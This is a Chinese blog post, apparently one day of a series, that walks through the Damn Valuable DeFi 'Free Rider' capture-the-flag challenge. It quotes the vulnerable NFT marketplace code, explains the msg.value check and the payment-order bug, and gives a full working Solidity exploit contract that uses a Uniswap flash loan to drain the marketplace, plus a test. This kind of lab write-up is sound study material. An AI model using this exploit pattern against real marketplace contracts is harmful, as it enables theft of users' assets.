iT邦幫忙

2024 iThome 鐵人賽

DAY 13
0
A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

A critical vulnerability has been reported, claiming that all tokens can be taken. Yet the developers don’t know how to save them!

They’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way. The recovery process is managed by a dedicated smart contract.

You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.

If only you could get free ETH, at least for an instant.

Analyze WTF

這一題有兩個合約
https://ithelp.ithome.com.tw/upload/images/20240927/20163009yeBK7ZKFhu.png

其中 NFTMarketplace 負責了交易,賣家可以對自己上架的 NFT 做一系列的管理 ex:授權 NFT 以及修改報價,買家則可以大量購買 NFT,基本上交易方式是買家先轉 ETH 給合約,然後合約再把錢丟給賣家

合約中我們需要關注的是以下兩個 function

function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
    for (uint256 i = 0; i < tokenIds.length; ++i) {
        unchecked {
            _buyOne(tokenIds[i]);
        }
    }
}

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0) {
        revert TokenNotOffered(tokenId);
    }

    if (msg.value < priceToPay) {
        revert InsufficientPayment();
    }

    --offersCount;

    // transfer from seller to buyer
    DamnValuableNFT _token = token; // cache for gas savings
    _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

    // pay seller using cached token
    payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

    receive() external payable {}
}

經過分析,可以看出 buyMany 中不會檢查 msg.value,所以可以花一點小錢就詐賭出所有的 NFT,其次,下面的兩行 code 也有一點問題

_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

可以發現到這兩行的順序其實反過來了,基本上就是先把 NFT 賣給了買家,但是交易的 ETH 卻又回到了買家的手上,意思就是我們不只實現了 0 元購,對方甚至還要倒貼我們額外的 ETH,已購買,小孩很愛吃

Solve WTF

我們要做的事情如下:

  1. 想辦法先拿到 15 ETH,這點可以利用閃電貸做到
  2. 把題目中市場上的 6 個 NFT 買走
  3. 拿購買的 NFT 轉到恢復帳號,領取 45 ETH 的賞金
  4. 償還 15 ETH 的閃電貸

這樣算下來我們是賺的,因為每 1 個 NFT 我們都可以收取 15 ETH,所以 6 個就是 90,再加上賞金的 45 ETH,扣掉閃電貸 + 閃電貸的手續費,賺麻了都

Attack contract:

contract Freeeeeeeeeeee {
    WETH public weth;
    IUniswapV2Pair public uniswapPair;
    FreeRiderNFTMarketplace public marketplace;
    DamnValuableNFT public nft;
    FreeRiderRecoveryManager public recoveryManager;
    address public owner;

    uint256 constant NFT_PRICE = 15 ether;
    uint256 constant AMOUNT_OF_NFTS = 6;

    constructor(
        WETH _weth,
        IUniswapV2Pair _uniswapPair,
        FreeRiderNFTMarketplace _marketplace,
        DamnValuableNFT _nft,
        FreeRiderRecoveryManager _recoveryManager
    ) {
        weth = _weth;
        uniswapPair = _uniswapPair;
        marketplace = _marketplace;
        nft = _nft;
        recoveryManager = _recoveryManager;
        owner = msg.sender;
    }

    function attack() external {
        // 1. 從 Uniswap pair 合約借出 15 WETH
        uniswapPair.swap(NFT_PRICE, 0, address(this), abi.encode("flashloan"));

        // 將多餘的 ETH 轉回到攻擊者的錢包
        payable(owner).transfer(address(this).balance);
    }

    function uniswapV2Call(address, uint256 amount0, uint256, bytes calldata) external {
        // 將借來的 WETH 轉換成 ETH
        weth.withdraw(amount0);

        // 2. 購買所有 6 個 NFT
        uint256[] memory ids = new uint256[](AMOUNT_OF_NFTS);
        for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
            ids[i] = i;
        }
        marketplace.buyMany{value: NFT_PRICE}(ids);

        // 3. 將 NFT 轉移到恢復合約,獲得賞金
        for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
            nft.safeTransferFrom(address(this), address(recoveryManager), ids[i], abi.encode(owner));
        }

        // 4. 償還閃電貸:借款本金 + 手續費 (0.3%)
        uint256 amountToRepay = (NFT_PRICE * 10031) / 10000;
        weth.deposit{value: amountToRepay}();
        weth.transfer(address(uniswapPair), amountToRepay);
    }

    function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    receive() external payable {}
}

Test function:

function test_freeRider() public checkSolvedByPlayer {
    Freeeeeeeeeeee exploiter = new Freeeeeeeeeeee(
        weth,
        uniswapPair,
        marketplace,
        nft,
        recoveryManager
    );
    exploiter.attack();
}

https://ithelp.ithome.com.tw/upload/images/20240927/20163009HHMrQ2ETk6.png

每日梗圖(1/1)
https://ithelp.ithome.com.tw/upload/images/20240927/20163009UYioxV07an.png


上一篇
Day 12 - Puppet V2_木偶 2.0
下一篇
Day 14 - Backdoor_欸藏後門不揪
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言